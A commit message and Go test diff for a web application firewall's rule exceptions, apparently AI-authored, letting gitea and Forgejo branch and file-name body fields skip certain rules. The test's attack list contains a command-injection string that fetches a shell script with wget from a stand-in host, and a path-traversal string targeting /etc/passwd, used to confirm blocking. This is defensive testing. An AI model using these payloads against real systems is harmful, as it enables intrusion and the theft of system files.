Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- every field that names a branch, for Windows commands and command
  names: new_branch_name, old_branch_name, old_ref_name, from, to, head,
  base, branch and new_branch;
- message of a file changed through the API, for system files and
  Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

internal/coreruleset/vaultwarden_test.go

@@ -199,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
 var vaultwardenAttacks = []string{
 	injection,
 	scriptTag,
-	"; wget http://example.com/x.sh",
+	shellCommand,
 	"../../etc/passwd",
 }